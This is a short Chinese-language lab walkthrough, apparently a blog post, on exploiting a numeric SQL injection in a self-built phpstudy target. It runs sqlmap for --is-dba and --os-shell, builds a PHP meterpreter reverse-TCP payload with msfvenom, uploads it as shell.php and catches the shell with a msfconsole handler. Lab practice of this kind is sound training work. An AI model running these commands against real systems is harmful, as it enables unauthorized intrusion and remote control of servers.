Dancing with your ghost
环境准备
Kali(IP:10.10.16.128)
win 7(IP:10.10.16.131)使用 phpstudy 搭建 sql 注入漏洞环境
NAT 网络连接
漏洞源码
查看源码可以得知这是一个数字型 SQL 注入
漏洞利用
直接在 Kali 中打开 Firefox 浏览器,访问。(这里在 phpstudy 的设置中,将 apache 服务的端口设置 88)
http://10.10.16.131:88/sql-php/sql_normal.php?id=1
① sqlmap 注入测试
sqlmap -u "http://10.10.16.131:88/sql-php/sql_normal.php?id=1"
② --is-dba
在使用 –os-shell 获取操作系统 shell 的时候,要先确定当前用户是否为管理员权限。
sqlmap -u "http://10.10.16.131:88/sql-php/sql_normal.php?id=1" --is-dba --current-user
③–os-shell
如果 current user is DBA: Ture 说明可以对靶机目录/文件进行操作
sqlmap -u "http://10.10.16.131:88/sql-php/sql_normal.php?id=1" --os-shell
④ 反弹 shell
从上面结果可以看出已经成功反弹 shell,不过这个 shell 操作起来不甚顺畅,可以在 Kali 生成反弹 shell 代码,借助上面生成的一个文件上传界面。
- msf 生成反弹 shell 代码,将生成的代码保存在 shell.php 文件中。
msfvenom -p php/meterpreter_reverse_tcp lhost=10.10.16.128 lport=4444 -o shell.php
http://10.10.16.131:88/tmpufzgk.php
- 开启 msf 设置相关参数,然后 exploit,访问 shell.php 就可以反弹 shell。(shell.php 是上传在靶机的网站根目录 www 下)
http://10.10.16.131:88/shell.php
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 10.10.16.128
exploit
shell
猪头
2020.3.14